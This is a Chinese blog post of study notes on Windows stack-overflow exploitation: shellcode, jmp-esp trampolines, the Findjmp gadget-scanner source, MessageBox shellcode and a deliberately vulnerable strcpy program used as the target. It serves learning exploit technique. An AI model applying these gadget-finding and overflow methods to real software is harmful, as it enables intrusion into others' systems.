zoukankan      html  css  js  c++  java
  • OD: Shellcode / Exploit & DLL Trampolining

    看到第五章了。

    标题中 Dll Tramplining(跳板)名字是从如下地址找到的,写的很好:

    http://en.wikipedia.org/wiki/Buffer_overflow#The_jump_to_address_stored_in_a_register_technique

    Shellcode

    原来,shellcode 这个词来源于一篇论文:1996 年 Aleph One 发表跨时代的《Smathing The Stack For Fun And Profit》,文中描述讲到利用基于栈的溢出向进程中植入一段用于获得 shell 的代码,并将植入的代码称为 Shellcode。后来 shellcode 被统一指代通过缓冲区溢出植入的代码。

    exploit 是一个过程,其结果通常体现为一段代码,这段代码承载了 shellcode。exploit 用于生成攻击性的网络数据包或者其他形式的攻击性输入,其核心是淹没返回地址,劫持进程控制权,之后跳转执行 shellcode。

    shellcode 有通用性,而 exploit 往往针对特定漏洞。如果说 exploit 是导弹,shellcode 则可以比喻成弹头。Metasploit 就充分利用了模块化和代码复用的思想,将 exploit 和 payload (shellcode) 分开。

    Shellcode 需要解决的问题

    1. 自动定位 shellcode 的起点。实际使用中,shellcode 经常被动态加载(特别是 IE)。

    2. 填充数据的设计。(想到《The Art Of Exploitation》中提到过好多技巧,可惜细节忘差不多了)

    3. 动态获取系统的 API 地址。

    4. 对 shellcode 进行编码解码,突破 buffer 和 IDS 的限制。(又想到《TAOE》)

    动态定位 Shellcode — 跳板原理

    实际 exploit 过程中,由于 dll 的装入和卸载等原因,Windows 进程的函数栈帧经常会移位,如此一来,将返回地址设置成定值的方法就不通用。

    1998 年,黑客组织“Cult of the Dead Cow”的 Dildog 在 Bugtrq 邮件列表中以 Microsoft Netmeeting 为例首次提出了利用 jmp esp 完成对 shellcode 的动态定位,从而解决了 Windows 下栈帧移位问题给开发稳定 exploit 带来的重重困难。毫不夸张地讲,跳板技术是 Windows 栈溢出利用技术的一个里程碑。

    注意到在一般情况下,ESP 中的地址问题指向系统栈中,且不会被溢出的数据破坏。函数返回时,ESP 所指的位置通常在返回地址的下一个位置,这就为跳板技术的实施开了条路。(需要注意,函数返回时 ESP 所指的位置与函数调用约定、返回指令有关,例如“retn 3”、“retn 4”之后,ESP 所指的位置是会有偏差)

    如上图,使用 jmp esp 跳板动态定位的方法为:

    1. 用内存中任意一条 jmp esp 指令的地址覆盖返回地址,而不用上一篇中手工查出的 shellcode 的起始地址。

    2. 函数返回地去执行 jmp esp(跳板),而不直接执行 shellcode。

    3. 将 shellcode 放置在返回地址之后,这样 jmp esp 之后执行的就是 shellcode。

    这样一来,不管栈帧如何移位,shellcode 都能被动态地准确定位到。

    获取跳板

    获取踏板可以使用下面这段代码:

      1 /*
      2    Findjmp.c
      3    written by Ryan Permeh - ryan at eeye - Summarily modified by I2S-LaB.com
      4 http://www.eeye.com
      5 
      6 Findjmp2.c (pop/pop/ret scanner, logging to file)
      7 version by A.D - class101 at hat-squad
      8 http://class101.org, http://www.hat-squad.com
      9 
     10 
     11 This finds useful jump points in a dll. Once you overflow a buffer, by
     12 looking in the various registers, it is likely that you will find a
     13 reference to your code. This program will find addresses suitible to
     14 overwrite eip that will return to your code.
     15 
     16 It should be easy to modify this to search for other good jump points,
     17 or specific code patterns within a dll.
     18 
     19 It currently supports looking for:
     20 1. jmp reg
     21 
     22 2. call reg
     23 
     24 3. push reg
     25 ret
     26 All three options result in the same thing, EIP being set to reg.
     27 
     28 It also supports the following registers:
     29 EAX
     30 EBX
     31 ECX
     32 EDX
     33 ESI
     34 EDI
     35 ESP
     36 EBP
     37 */
     38 
     39 #include <iostream.h>
     40 #include <fstream.h>
     41 #include <Windows.h>
     42 #include <stdio.h>
     43 
     44 FILE *fplog;
     45 
     46 void usage();
     47 void sep();
     48 void iok(BYTE *curpos, char *reg);
     49 void iok2(BYTE *curpos, char *reg);
     50 void ook(BYTE *curpos, char *reg);
     51 void ook2(BYTE *curpos, char *reg);
     52 
     53 DWORD GetRegNum( char *reg );
     54 void findjmp( char *dll, char *reg );
     55 
     56 //This finds useful jump points in a dll. Once you overflow a buffer, by
     57 //looking in the various registers, it is likely that you will find a
     58 //reference to your code. This program will find addresses of suitible
     59 //addresses of eip that will return to your code.
     60 
     61 int main( int argc, char **argv )
     62 {
     63     if( argc <= 2 )
     64         usage();
     65 
     66     else
     67     {
     68         char dll[512], //holder for the dll to look in
     69              reg[512]; // holder for the register
     70 
     71         if ((fplog =fopen("findjmp.txt","r"))==NULL){
     72             fplog =fopen("findjmp.txt","w");}
     73         else fplog =fopen("findjmp.txt","a");
     74         strncpy( dll, argv[1], 512 );
     75         strncpy( reg, argv[2], 512 );
     76         findjmp( dll, reg );
     77     }
     78     return 0;
     79 }
     80 
     81 //This prints the usage information.
     82 
     83 void usage()
     84 {
     85     printf("
    Findjmp, Eeye, I2S-LaB
    Findjmp2, Hat-Squad
    FindJmp DLL registre
    Ex: findjmp KERNEL32.DLL esp"
     86             "
    Currently supported registre are: EAX, EBX, ECX, EDX, ESI, EDI, ESP, EBP
    " );
     87 }
     88 
     89 //findjmp is the workhorse. it loads the requested dll, and searches for
     90 //the specific patterns for jmp reg, push reg ret, and call reg
     91 
     92 void findjmp( char *dll,char *reg )
     93 {
     94     char reg1[]="eax";char reg2[]="ebx";
     95     char reg3[]="ecx";char reg4[]="edx";
     96     char reg5[]="esi";char reg6[]="edi";
     97     char reg7[]="esp";char reg8[]="ebp";
     98 
     99     BYTE jmppat[8][2]={ { 0xFF, 0xE0 }, { 0xFF, 0xE3 }, { 0xFF, 0xE1 }, { 0xFF, 0xE2 },
    100         { 0xFF, 0xE6 }, { 0xFF, 0xE7 }, { 0xFF, 0xE4 }, { 0xFF, 0xE5 } }; // patterns for jmp ops
    101 
    102     BYTE callpat[8][2]={ { 0xFF, 0xD0 }, { 0xFF, 0xD3 }, { 0xFF, 0xD1 }, { 0xFF, 0xD2},
    103         { 0xFF, 0xD6 }, { 0xFF, 0xD7 }, { 0xFF, 0xD4 }, { 0xFF, 0xD5 } }; // patterns for call ops
    104 
    105     BYTE pushretpat[8][2]={ { 0x50, 0xC3 }, { 0x53, 0xC3 }, { 0x51, 0xC3 }, { 0x52, 0xC3 },
    106         { 0x56, 0xC3 }, { 0x57, 0xC3 }, { 0x54, 0xC3 }, { 0x55, 0xC3 } }; // patterns for pushret ops
    107 
    108     BYTE poppat[8][1]={ { 0x58 }, { 0x5B }, { 0x59 }, { 0x5A }, // patterns for pop,pop,ret
    109         { 0x5E }, { 0x5F }, { 0x5C }, { 0x5D },};
    110 
    111     BYTE retn[1][1]={ 0xC3 }; // pattern for pop,pop,ret
    112 
    113     BYTE retnbis[1][1]={ 0xC2 }; // pattern for pop,pop,ret
    114 
    115 
    116     HMODULE loadedDLL; //base pointer for the loaded DLL
    117 
    118     BYTE *curpos; //current position within the DLL
    119     BYTE *curpos2; //subposition pop,pop,ret
    120 
    121     DWORD regnum=GetRegNum(reg); // decimal representation of passed register
    122     DWORD regnum1=GetRegNum(reg1);DWORD regnum2=GetRegNum(reg2);
    123     DWORD regnum3=GetRegNum(reg3);DWORD regnum4=GetRegNum(reg4);
    124     DWORD regnum5=GetRegNum(reg5);DWORD regnum6=GetRegNum(reg6);
    125     DWORD regnum7=GetRegNum(reg7);DWORD regnum8=GetRegNum(reg8);
    126 
    127     DWORD numaddr=0; //accumulator for addresses
    128 
    129     if( regnum == -1 ) //check if register is useable
    130     { //it didn't load, time to bail
    131         printf( "There was a problem understanding the register.
    "
    132                 "Please check that it isa correct IA32 register name
    "
    133                 "Currently supported are:
     "
    134                 "EAX, EBX, ECX, EDX, ESI, EDI, ESP, EBP
    "
    135               );
    136 
    137         exit(-1);
    138     }
    139 
    140     if( (loadedDLL=LoadLibraryA(dll)) == NULL) // check if DLL loaded correctly
    141     { //it didn't load, time to bail
    142         printf( "There was a problem Loading the requested DLL.
    "
    143                 "Please check that it is in your path and readable
    " );
    144         exit(-1);
    145     }
    146     else
    147     {
    148         sep();
    149         fprintf(fplog,"Findjmp, Eeye, I2S-LaB
    Findjmp2, Hat-Squad
    ");
    150         printf("
    Findjmp, Eeye, I2S-LaB
    Findjmp2, Hat-Squad
    ");
    151         printf( "Scanning %s for code useable with the %s register
    ", dll, reg ); //we loaded the dll correctly, time to scan it
    152         fprintf(fplog,"Scanning %s for code useable with the %s register
    ", dll, reg ); //we loaded the dll correctly, time to scan it
    153         sep();
    154         curpos=(BYTE*)loadedDLL; //set curpos at start of DLL
    155         curpos2=(BYTE*)loadedDLL; //pop,pop,ret subscan.
    156 
    157         __try
    158         {
    159             while(1)
    160             {
    161                 Sleep(1/10);
    162                 if( !memcmp( curpos, jmppat[regnum], 2) ) //check for jmp match
    163                 {
    164                     printf( "0x%X	jmp %s
    ", curpos, reg ); // we have a jmp match
    165                     fprintf(fplog,"0x%X	jmp %s
    ", curpos, reg ); // we have a jmp match
    166                     numaddr++;
    167                 }
    168                 else if( !memcmp( curpos, callpat[regnum],2) ) //check for call match
    169 
    170                 {
    171                     printf( "0x%X	call %s
    ", curpos, reg ); // we have a call match
    172                     fprintf(fplog,"0x%X	call %s
    ", curpos, reg );
    173                     numaddr++;
    174                 }
    175                 else if( !memcmp(curpos,pushretpat[regnum], 2) ) //check for push/ret match
    176                 {
    177                     printf( "0x%X	push %s - ret
    ", curpos, reg ); // we have a pushret match
    178                     fprintf(fplog,"0x%X	push %s - ret
    ", curpos, reg ); // we have a jmp match
    179                     numaddr++;
    180                 }
    181                 else if( !memcmp(curpos,poppat[regnum], 1) ) //check for pop/pop/ret match
    182                 {
    183                     curpos2++;
    184                     if( !memcmp(curpos2,poppat[regnum1], 1) )
    185                     {
    186                         curpos2++;
    187                         if( !memcmp(curpos2,retn, 1) )
    188                         {
    189                             iok(curpos, reg); // we have a popopret match
    190                             ook(curpos, reg); // we have a popopret match
    191                             numaddr++;
    192                         }
    193                         if( !memcmp(curpos2,retnbis, 1) )
    194                         {
    195                             iok2(curpos, reg); // we have a popopret match
    196                             ook2(curpos, reg); // we have a popopret match
    197                             numaddr++;
    198                         }
    199                         curpos2--;curpos2--;goto loop;
    200                     }
    201                     if( !memcmp(curpos2,poppat[regnum2], 1) )
    202                     {
    203                         curpos2++;
    204                         if( !memcmp(curpos2,retn, 1) )
    205                         {
    206                             iok(curpos, reg); // we have a popopret match
    207                             ook(curpos, reg); // we have a popopret match
    208                             numaddr++;
    209                         }
    210                         if( !memcmp(curpos2,retnbis, 1) )
    211                         {
    212                             iok2(curpos, reg); // we have a popopret match
    213                             ook2(curpos, reg); // we have a popopret match
    214                             numaddr++;
    215                         }
    216                         curpos2--;curpos2--;goto loop;
    217                     }
    218                     if( !memcmp(curpos2,poppat[regnum3], 1) )
    219                     {
    220                         curpos2++;
    221                         if( !memcmp(curpos2,retn, 1) )
    222                         {
    223                             iok(curpos, reg); // we have a popopret match
    224                             ook(curpos, reg); // we have a popopret match
    225                             numaddr++;
    226                         }
    227                         if( !memcmp(curpos2,retnbis, 1) )
    228                         {
    229                             iok2(curpos, reg); // we have a popopret match
    230                             ook2(curpos, reg); // we have a popopret match
    231                             numaddr++;
    232                         }
    233                         curpos2--;curpos2--;goto loop;
    234                     }
    235                     if( !memcmp(curpos2,poppat[regnum4], 1) )
    236                     {
    237                         curpos2++;
    238                         if( !memcmp(curpos2,retn, 1) )
    239                         {
    240                             iok(curpos, reg); // we have a popopret match
    241                             ook(curpos, reg); // we have a popopret match
    242                             numaddr++;
    243                         }
    244                         if( !memcmp(curpos2,retnbis, 1) )
    245                         {
    246                             iok2(curpos, reg); // we have a popopret match
    247                             ook2(curpos, reg); // we have a popopret match
    248                             numaddr++;
    249                         }
    250                         curpos2--;curpos2--;goto loop;
    251                     }
    252                     if( !memcmp(curpos2,poppat[regnum5], 1) )
    253                     {
    254                         curpos2++;
    255                         if( !memcmp(curpos2,retn, 1) )
    256                         {
    257                             iok(curpos, reg); // we have a popopret match
    258                             ook(curpos, reg); // we have a popopret match
    259                             numaddr++;
    260                         }
    261                         if( !memcmp(curpos2,retnbis, 1) )
    262                         {
    263                             iok2(curpos, reg); // we have a popopret match
    264                             ook2(curpos, reg); // we have a popopret match
    265                             numaddr++;
    266                         }
    267                         curpos2--;curpos2--;goto loop;
    268                     }
    269                     if( !memcmp(curpos2,poppat[regnum6], 1) )
    270                     {
    271                         curpos2++;
    272                         if( !memcmp(curpos2,retn, 1) )
    273                         {
    274                             iok(curpos, reg); // we have a popopret match
    275                             ook(curpos, reg); // we have a popopret match
    276                             numaddr++;
    277                         }
    278                         if( !memcmp(curpos2,retnbis, 1) )
    279                         {
    280                             iok2(curpos, reg); // we have a popopret match
    281                             ook2(curpos, reg); // we have a popopret match
    282                             numaddr++;
    283                         }
    284                         curpos2--;curpos2--;goto loop;
    285                     }
    286                     if( !memcmp(curpos2,poppat[regnum7], 1) )
    287                     {
    288                         curpos2++;
    289                         if( !memcmp(curpos2,retn, 1) )
    290                         {
    291                             iok(curpos, reg); // we have a popopret match
    292                             ook(curpos, reg); // we have a popopret match
    293                             numaddr++;
    294                         }
    295                         if( !memcmp(curpos2,retnbis, 1) )
    296                         {
    297                             iok2(curpos, reg); // we have a popopret match
    298                             ook2(curpos, reg); // we have a popopret match
    299                             numaddr++;
    300                         }
    301                         curpos2--;curpos2--;goto loop;
    302                     }
    303                     if( !memcmp(curpos2,poppat[regnum8], 1) )
    304                     {
    305                         curpos2++;
    306                         if( !memcmp(curpos2,retn, 1) )
    307                         {
    308                             iok(curpos, reg); // we have a popopret match
    309                             ook(curpos, reg); // we have a popopret match
    310                             numaddr++;
    311                         }
    312                         if( !memcmp(curpos2,retnbis, 1) )
    313                         {
    314                             iok2(curpos, reg); // we have a popopret match
    315                             ook2(curpos, reg); // we have a popopret match
    316                             numaddr++;
    317                         }
    318                         curpos2--;curpos2--;goto loop;
    319                     }
    320                     curpos2--;
    321                 }
    322 loop:
    323                 curpos++;
    324                 curpos2++;
    325             }
    326         }
    327         __except(1)
    328         {
    329             sep();
    330             fprintf( fplog,"Finished Scanning %s for code useable with the %s register
    ", dll, reg );
    331             printf( "Finished Scanning %s for code useable with the %s register
    ", dll, reg );
    332             printf( "Found %d usable addresses
    ", numaddr );
    333             fprintf( fplog,"Found %d usable addresses
    ", numaddr );sep();fprintf( fplog,"
    
    
    ");
    334         }
    335     }
    336 
    337 }
    338 
    339 
    340 DWORD GetRegNum( char *reg )
    341 {
    342     DWORD ret=-1;
    343     if( !stricmp( reg, "eax") )
    344     {
    345         ret=0;
    346     }
    347     else if( !stricmp( reg, "ebx") )
    348     {
    349         ret=1;
    350     }
    351     else if( !stricmp( reg, "ecx") )
    352     {
    353         ret=2;
    354     }
    355     else if( !stricmp( reg, "edx") )
    356     {
    357         ret=3;
    358     }
    359     else if( !stricmp( reg, "esi") )
    360     {
    361         ret=4;
    362     }
    363     else if( !stricmp( reg, "edi") )
    364     {
    365         ret=5;
    366     }
    367     else if( !stricmp( reg, "esp") )
    368     {
    369         ret=6;
    370     }
    371     else if( !stricmp( reg, "ebp") )
    372     {
    373         ret=7;
    374     }
    375 
    376     return ret; //return our decimal register number
    377 }
    378 
    379 void sep()
    380 {
    381     fprintf(fplog,"----------------------------------------------------------------------------
    ");
    382 }
    383 
    384 void iok(BYTE *curpos, char *reg)
    385 {
    386     printf( "0x%X	pop %s - pop - ret
    ", curpos, reg ); // we have a popopret match
    387 }
    388 
    389 void iok2(BYTE *curpos, char *reg)
    390 {
    391     printf( "0x%X	pop %s - pop - retbis
    ", curpos, reg ); // we have a popopret match
    392 }
    393 
    394 void ook(BYTE *curpos, char *reg)
    395 {
    396     fprintf(fplog,"0x%X	pop %s - pop - ret
    ", curpos, reg ); // we have a jmp match
    397 }
    398 
    399 void ook2(BYTE *curpos, char *reg)
    400 {
    401     fprintf(fplog,"0x%X	pop %s - pop - retbis
    ", curpos, reg ); // we have a jmp match
    402 }
    View Code

     或者用如下的更精简的代码:

     1 #include <windows.h>
     2 #include <stdio.h>
     3 
     4 #define DLL_NAME "user32.dll"
     5 
     6 int main()
     7 {
     8     BYTE *ptr;
     9     int position, address;
    10     HINSTANCE handle;
    11     BOOL done_flag = FALSE;
    12     handle = LoadLibrary(DLL_NAME);
    13     if(!handle)
    14     {
    15         printf("load dll error!
    ");
    16         exit(0);
    17     }
    18     ptr = (BYTE*)handle;
    19     for(position=0; !done_flag; position++)
    20     {
    21         __try
    22         {
    23             if(ptr[position]==0xFF && ptr[position+1]==0xE4)
    24             {
    25                 //0xFFE4 : jmp esp
    26                 int address = (int)ptr+position;
    27                 printf("OPCODE 0xFFE4(jmp esp) found at 0x%x
    ",address);
    28             }
    29         }
    30         __except(1)
    31         {
    32             int address=(int)ptr+position;
    33             printf("End Of 0x%x
    ",address);
    34             done_flag=TRUE;
    35         }
    36     }
    37     return 0;
    38 }
    View Code

    更方便的方法是在 OllyDbg 中添加插件 OllyUni.dll,可以查找 Unicode / ASCII 调用地址,使用方法为:打开调试后 [右键-Overflow Return Address] 并选择相应功能执行,执行完结后点击工具栏的 L (Log) 就可以看到结果。

    使用跳板溢出

    1. 根据获取跳板中的方法,溢出中使用如下地址:0x75DE01BB  -->  jmp esp

    2. 编写 shellcode。我使用原书中的方法,利用 Dependency Walker 得到的 MessageBoxA() 和 exit()/ExitProcess() 的地址和实际的都不一样,无奈写了代码动态找出这两个函数的地址,代码使用了函数指针(其实可以直接输出函数地址的,代码中有体现):

     1 #include<stdio.h>
     2 #include<stdlib.h>
     3 #include<string.h>
     4 #include<windows.h>
     5 
     6 typedef void(*pf)(int i);
     7 
     8 int main()
     9 {
    10     pf pfun=exit;
    11     printf("exit() @ 0x%08x
    ",pfun); // 函数指针 结果为 0x00401340 输出结果不定!
    12     LoadLibrary("user32.dll");
    13     printf("MessageBoxA() @ 0x%08x
    ",MessageBoxA); // user32.dll 直接输出 结果为 0x772BEA11
    14     printf("ExitProcess() @ 0x%08x
    ",ExitProcess); // kernel32.dll 直接输出 结果为 0x75D7BC9A
    15     return 0;
    16 }

    用 C 写的 shellcode 原代码如下:

     1 #include<stdio.h>
     2 #include<stdlib.h>
     3 #include<string.h>
     4 #include<windows.h>
     5 
     6 int main()
     7 {
     8     int exit_addr=exit;
     9     HINSTANCE LibHandle;
    10     LibHandle=LoadLibrary("user32.dll");
    11     printf("exit() @ 0x%08x
    ",exit);
    12     _asm{
    13         sub sp,0x440
    14         xor ebx,ebx
    15         push ebx // string ending
    16         push 0x74736577
    17         push 0x6c696166 // "failwest"
    18         mov eax,esp
    19         push ebx
    20         push eax
    21         push eax
    22         push ebx
    23         mov eax,0x772BEA11
    24         call eax // call MessageBoxA()
    25         push ebx
    26         mov eax,0x75D7BC9A
    27         call eax // call ExitProcess(), 不能用 exit() 因为地址中有 0x00,注意下图 OllyDbg 中没有改过来,用的 exit()
    28     }
    29     return 0;
    30 }

    编译如上的代码,使用 OllyDbg 调试,找到相应的 shellcode 机器码并 dump 出来:

    最后得出的 shellcode 如下:

    0xFF 是任意填充,接着的 0x75DE01BB 是 jmp esp 的地址,接着是 shellcode

     

    这样能够 exploit 如下的代码并安全返回:

     1 #include<stdio.h>
     2 #include<stdlib.h>
     3 #include<string.h>
     4 #include<windows.h>
     5 
     6 #define PASSWORD "1234567"
     7 
     8 int verify_password(char *password)
     9 {
    10     int authenticated=0x03050709;
    11     char buffer[44];     // add local buf to be overflowed
    12     authenticated=strcmp(password,PASSWORD);
    13     strcpy(buffer, password);  // overflow here
    14     return authenticated;
    15 }
    16 
    17 int main()
    18 {
    19     int valid_flag=0;
    20     char password[1024];
    21     //LoadLibrary("c:\windows\system32\user32.dll"); // for messagebox
    22     LoadLibrary("user32.dll"); // for messagebox
    23     //MessageBoxA(0,"LoadLibrary user32.dll seccess.","Message",0);
    24     if(!freopen("password.txt","r",stdin))
    25     //FILE *fp;
    26     //if(!(fp=fopen("password.txt","rw+")))
    27     {
    28         printf("file open error!
    ");
    29         exit(0);
    30     }
    31     scanf("%s",password);
    32     //fscanf(fp,"%s",password);
    33     printf("password input: %s
    ",password);
    34     valid_flag=verify_password(password);
    35     if(valid_flag){
    36         printf("Incorrect password!
    
    ");
    37     }
    38     else
    39     {
    40         printf("Congratulation! You have passed the verification!
    
    ");
    41     }
    42     //fclose(fp);
    43     return 0;
    44 }
    View Code

    存在问题:

    1. 输出 exit() 的地址不定,一直变动,不知道为什么。

    2. exit() 地址中含有的 0x00 还是不知道怎么输入 buffer

    3. find esp 找到的 jmp esp 的地址不是通用的,怎么解决?

    4. Denpendency Walker 算出的 MessageBoxA() 和 ExitProcess() 的地址和实际的还是不一样,不明白。

  • 相关阅读:
    守卫者的挑战
    黑魔法师之门
    noip2015 普及组
    noip2015 提高组day1、day2
    40026118素数的个数
    高精度模板
    经典背包系列问题
    修篱笆
    [LintCode] Linked List Cycle
    [LintCode] Merge Two Sorted Lists
  • 原文地址:https://www.cnblogs.com/exclm/p/3650671.html
Copyright © 2011-2022 走看看